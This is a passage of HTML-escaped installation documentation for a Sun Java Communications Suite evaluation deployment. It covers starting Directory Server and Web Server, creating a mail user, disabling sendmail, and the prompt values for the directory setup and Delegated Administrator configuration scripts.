valign="top"&gt;    &lt;td&gt;&lt;a name="wp34255"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Server provisioned with user data? &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34257"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [No] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp38256"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;/ul&gt;&lt;/div&gt; &lt;a name="wp34344"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Install the Software &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp34345"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Install when you are satisfied with the Ready to Install list.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41277"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Because of the number of components selected, the installation process can be lengthy. &lt;/p&gt;&lt;a name="wp34349"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;When installation is complete, the Installation Complete page is displayed. Click Close to exit the installer.&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp34350"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Verify the Installation &lt;/h4&gt; &lt;a name="wp34351"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Once the installation has completed, start LDAP and verify that it works. &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp34352"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;On ds.abc.beta.com, start Directory Server:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39483"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /opt/SUNWdsee&lt;/span&gt; &lt;/p&gt;&lt;a name="wp34353"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd ds6/bin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp34355"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./dsadm start /var/opt/SUNWdsee/dsins1 &lt;/span&gt; &lt;/p&gt;&lt;a name="wp41875"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;On am.abc.beta.com, start Web Server:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39498"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /var/opt/SUNWwbsvr7/admin-server/bin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp41028"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./stopserv&lt;/span&gt; &lt;/p&gt;&lt;a name="wp43455"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./startserv&lt;/span&gt; &lt;/p&gt;&lt;/ol&gt;&lt;/div&gt; &lt;div class="pCodelineIndent"&gt;&lt;ul class="pCodelineIndent"&gt;&lt;a name="wp44910"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; cd /var/opt/SUNWwbsvr7/https-am..beta.com/bin  &lt;/p&gt;&lt;a name="wp44911"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; ./stopserv  &lt;/p&gt;&lt;a name="wp34362"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; ./startserv  &lt;/p&gt;&lt;a name="wp44908"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The Web Server can take a while to start. &lt;/p&gt;&lt;/ul&gt;&lt;/div&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp41286"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Verify that you can log in to the Access Manager console as &lt;span class="cCode"&gt;amadmin&lt;/span&gt;. The URL for the Access Manager console is:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34363"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span style="font-style: normal;" class="cCode"&gt;http://&lt;/span&gt;&lt;span style="font-style: oblique;" class="cCode"&gt;fully-qualified-hostname&lt;/span&gt;&lt;span style="font-style: normal;" class="cCode"&gt;:&lt;/span&gt;&lt;span style="font-style: oblique;" class="cCode"&gt;web-server-port&lt;/span&gt;&lt;span style="font-style: normal;" class="cCode"&gt;/amconsole&lt;/span&gt; &lt;/p&gt;&lt;a name="wp34364"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; In this example, type: &lt;/p&gt;&lt;a name="wp34365"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCodeStrong"&gt;http://am.abc.beta.com/amconsole&lt;/span&gt; &lt;/p&gt;&lt;a name="wp37911"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Use &lt;span class="cCode"&gt;amadmin&lt;/span&gt; and &lt;span class="cCode"&gt;adminpass&lt;/span&gt; as the user ID and password. &lt;/p&gt;&lt;a name="wp34369"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;After verifying that you can log in to the Access Manager console, log out.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46141"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Proceed to Configuring Components for instructions on how to configure Communications Suite components.&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;h2 class="pHeading2"&gt; Uninstalling the Components &lt;/h2&gt; &lt;p class="pParagraph"&gt; After you complete your evaluation, you can use the Java Enterprise System uninstaller to remove the components that you installed. See the &lt;em class="cEmphasis"&gt;Sun Java Enterprise System 5 Installation Guide for UNIX&lt;/em&gt;: &lt;/p&gt; &lt;div class="pParaIndent1"&gt;&lt;ul class="pParaIndent1"&gt;&lt;a name="wp48123"&gt; &lt;/a&gt;&lt;p class="pParaIndent1"&gt; &lt;a href="http://docs.sun.com/app/docs/doc/819-4891"&gt;http://docs.sun.com/app/docs/doc/819-4891&lt;/a&gt; &lt;/p&gt;&lt;/ul&gt;&lt;/div&gt; &lt;a name="wp38897"&gt; &lt;/a&gt;&lt;h1 class="pHeading1"&gt;Configuring Components &lt;/h1&gt; &lt;a name="wp34525"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section describes how to configure and start the components that you use in this example deployment. &lt;/p&gt; &lt;a name="wp34526"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section contains the following topics: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp34530"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Before You Begin&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Preparing the Directory and Configuring Messaging Server&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Delegated Administrator and Communications CLI&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Messaging Server&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Calendar Server&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Communications Express&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Verifying the Configuration&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Creating Additional User Accounts and Groups&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;h2 class="pHeading2"&gt; Before You Begin &lt;/h2&gt; &lt;a name="wp34577"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Before you configure the Messaging Server software, you need to create the &lt;span class="cCode"&gt;mailsrv&lt;/span&gt; user and disable the &lt;span class="cCode"&gt;sendmail&lt;/span&gt; process. The &lt;span class="cCode"&gt;mailsrv&lt;/span&gt; user is used in Configuring Messaging Server. &lt;/p&gt; &lt;a name="wp34578"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Create the mailsrv User &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp38884"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Messaging Server requires a mail server user, which must exist before you can finish the installation. You can skip this step, because the group and user are created during the configuration time. However, you might want to create the &lt;span class="cCode"&gt;mailsrv&lt;/span&gt; user yourself as shown below. For this installation, use the &lt;span class="cCode"&gt;useradd&lt;/span&gt; command to create a user with username &lt;span class="cCode"&gt;mailsrv&lt;/span&gt; and group &lt;span class="cCode"&gt;mail&lt;/span&gt;. You use this ID in Step d (under Step 2).&lt;/li&gt;&lt;/div&gt;&lt;p class="pStepParaI1"&gt; Type the following commands to create the user &lt;span class="cCode"&gt;mailsrv&lt;/span&gt; with a user ID of 7633, a group ID of mail, and a user home directory of &lt;span class="cCode"&gt;/export/home/mailsrv on mail.abc.beta.com host&lt;/span&gt;. (This assumes the &lt;span class="cCode"&gt;/export/home&lt;/span&gt; directory already exists.) &lt;/p&gt;&lt;a name="wp35679"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt;    &lt;table summary="Table border" border="1" cellpadding="2" cellspacing="0" width="90%"&gt; &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;  &lt;table summary="This table is used for code examples" id="wp35687" border="0" cellpadding="2"&gt;   &lt;tbody&gt;&lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp35687"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt; groupadd mail  &lt;/p&gt; &lt;a name="wp35688"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt; useradd -u 7633 -g mail -d /export/home/mailsrv -m mailsrv  &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;&lt;/ul&gt;&lt;/div&gt; &lt;a name="wp34589"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Disable sendmail &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp44966"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Prior to configuring Messaging Server, use the following to kill the &lt;span class="cCode"&gt;sendmail&lt;/span&gt; process and prevent it from starting during bootup.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp44956"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; For Solaris OS 10:&lt;/p&gt;&lt;div align="left"&gt;    &lt;table summary="Table border" border="1" cellpadding="2" cellspacing="0" width="90%"&gt; &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;  &lt;table summary="This table is used for code examples" id="wp44959" border="0" cellpadding="2"&gt;   &lt;tbody&gt;&lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44959"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt; svcadm disable sendmail  &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;&lt;a name="wp41148"&gt;&lt;/a&gt;&lt;/ul&gt;&lt;/div&gt;&lt;h2 class="pHeading2"&gt;Preparing the Directory and Configuring Messaging Server &lt;/h2&gt; &lt;a name="wp34600"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section explains how to prepare the Directory Server LDAP schema and configure Messaging Server. &lt;/p&gt; &lt;a name="wp34601"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Apply Schema 2 to Your Directory Tree &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp34602"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Run the &lt;span class="cCode"&gt;comm_dssetup.pl&lt;/span&gt; script on ds.abc.beta.com:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39569"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /opt/SUNWcomds/sbin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp34604"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;/usr/bin/perl comm_dssetup.pl&lt;/span&gt; &lt;/p&gt;&lt;a name="wp41884"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Type &lt;span class="cCodeStrong"&gt;y&lt;/span&gt; to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41287"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The perl script prompts for a series of options. The following table shows how to respond to the prompts. &lt;/p&gt;&lt;a name="wp34682"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq34606" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp34611"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table 7  Values for &lt;span class="cCode"&gt;comm_dssetup.pl&lt;/span&gt; Script   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp34617"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Option &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp34619"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; [Default Value] &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp34621"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Enter: &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34623"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Server Root &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34625"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWdsee/dsins1] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34627"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; /&lt;b class="cBold"&gt;var/opt/SUNWdsee/dsins1&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34635"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Manager DN  &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34637"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [cn=Directory Manager] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34639"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34641"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Manager Password  &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34643"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34645"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34647"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Use directory server for users/groups  &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34649"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Yes] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34651"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34653"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Users/Groups base suffix &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34655"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [o=beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp38274"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34659"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Schema type? &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34661"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [2] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34663"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34665"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Update the schema files? &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34667"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [yes] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34669"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34671"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Configure new indexes? &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34673"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [yes] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34675"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34677"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Reindex new indexes? &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34679"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [yes] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34681"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;a name="wp34683"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Confirm your choices and type &lt;span class="cCodeStrong"&gt;y&lt;/span&gt; to continue. The &lt;span class="cCode"&gt;comm_dssetup&lt;/span&gt; script proceeds.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34684"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;When prompted, type &lt;span class="cCodeStrong"&gt;y&lt;/span&gt; to continue with script.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp37917"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Continue with the next section after the &lt;span class="cCode"&gt;comm_dssetup&lt;/span&gt; script finishes and displays its “Successful Completion” message. &lt;/p&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp39578"&gt; &lt;/a&gt;&lt;h2 class="pHeading2"&gt; Configuring Delegated Administrator and Communications CLI &lt;/h2&gt; &lt;a name="wp39579"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section describes configuring Delegated Administrator console and utility, which provide user management. &lt;/p&gt; &lt;a name="wp39580"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Configure Delegated Administrator &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp39581"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Run the configurator script on am.abc.beta.com:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39582"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /opt/SUNWcomm/sbin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp39584"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./config-commda&lt;/span&gt; &lt;/p&gt;&lt;a name="wp39585"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next in the Welcome window.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46154"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Accept the default for the Directory to store User Mgmt data files: [&lt;span class="cCode"&gt;/var/opt/SUNWcomm&lt;/span&gt;]&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41294"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; If the directory does not exist, click Create Directory to create the directory. &lt;/p&gt;&lt;a name="wp41291"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Install Delegated Administrator Utility, Console, and Server.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39587"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The installation script prompts for a series of options. Use the following table to respond to the configuration options: &lt;/p&gt;&lt;a name="wp39773"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq39588" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp39594"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table 8  Values for &lt;span class="cCode"&gt;config-commda&lt;/span&gt; Script   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp39600"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Option &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp39602"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; [Default Value] &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp39604"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Enter: &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39606"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; AM Hostname &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39608"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39610"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39612"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; AM Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39614"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [8080] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39616"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;80&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39618"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Default Domain &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39620"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39622"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39624"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Default SSL Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39626"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [443] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39628"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39630"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Container &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39632"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Web Server 6.x] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39634"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;Web Server 7.x&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39636"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Install Root Directory (for DA Console) &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39638"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/opt/SUNWwbsvr7] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39640"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp44983"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Instance Root Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44985"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWwbsvr7] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44994"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39642"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Server Instance Identifier &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39644"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39646"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39648"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Virtual Server Identifier &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39650"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39652"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39654"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server HTTP Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39656"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [80] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46158"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45000"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administration 